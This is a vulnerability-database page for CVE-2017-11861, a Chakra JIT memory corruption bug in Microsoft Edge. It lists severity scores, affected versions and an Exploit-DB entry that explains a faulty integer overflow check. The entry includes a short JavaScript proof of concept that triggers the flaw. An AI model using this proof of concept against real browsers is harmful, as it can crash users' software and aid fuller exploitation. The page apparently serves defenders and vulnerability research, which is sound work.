CVE-2017-11861

high
Published 2017-11-15 ยท Modified 2026-05-13
CVSS v3
7.5
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
CVSS v4 NEW
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not yet in upstream
VIR risk
8.5

Description

Microsoft Edge in Windows 10 1607, 1703, 1709, Windows Server 2016 and Windows Server, version 1709 allows an attacker to gain the same user rights as the current user, due to how the scripting engine handles objects in memory, aka "Scripting Engine Memory Corruption Vulnerability". This CVE ID is unique from CVE-2017-11836, CVE-2017-11837, CVE-2017-11838, CVE-2017-11839, CVE-2017-11840, CVE-2017-11841, CVE-2017-11843, CVE-2017-11846, CVE-2017-11858, CVE-2017-11859, CVE-2017-11862, CVE-2017-11866, CVE-2017-11869, CVE-2017-11870, CVE-2017-11871, and CVE-2017-11873.

Predictions

Exploit likelihood
83%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43153 dos windows verified text ยท 1 KB
Google Security Research ยท 2017-11-16

Microsoft Edge Chakra: JIT - 'Lowerer::LowerBoundCheck' Incorrect Integer Overflow Check

text exploit Source: Exploit-DB
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1343

Here's a snippet of the method.
void Lowerer::LowerBoundCheck(IR::Instr *const instr)
{
    ...
    if(rightOpnd->IsIntConstOpnd())
    {
        IntConstType newOffset;
        if(!IntConstMath::Add(offset, rightOpnd->AsIntConstOpnd()->GetValue(), &newOffset)) <<--- (a)
        {
            offset = newOffset;
            rightOpnd = nullptr;
            offsetOpnd = nullptr;
        }
    }
    ...
    if(!rightOpnd)
    {
        rightOpnd = IR::IntConstOpnd::New(offset, TyInt32, func);
    }
}

At (a), it uses "IntConstMath::Add" to check integer overflow. But the size of IntConstType equals to the size of pointer, and the "offset" variable is used as a 32-bit integer. So it may fail to check integer overflow on 64-bit system.

PoC:
*/

function f() {
    let arr = new Uint32Array(0x1000);
    for (let i = 0; i < 0x7fffffff;) {
        arr[++i] = 0x1234;
    }
}

f();

OS impact

windows Windows Fixed 5 releases
VersionStatusFixed in
1709 Not affected โ€”
1703 Not affected โ€”
1607 Not affected โ€”
1511 Not affected โ€”
- Not affected โ€”

Application impact

VendorProductVersionsFixed
windows microsoftchakracore-
windows microsoftedge-

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.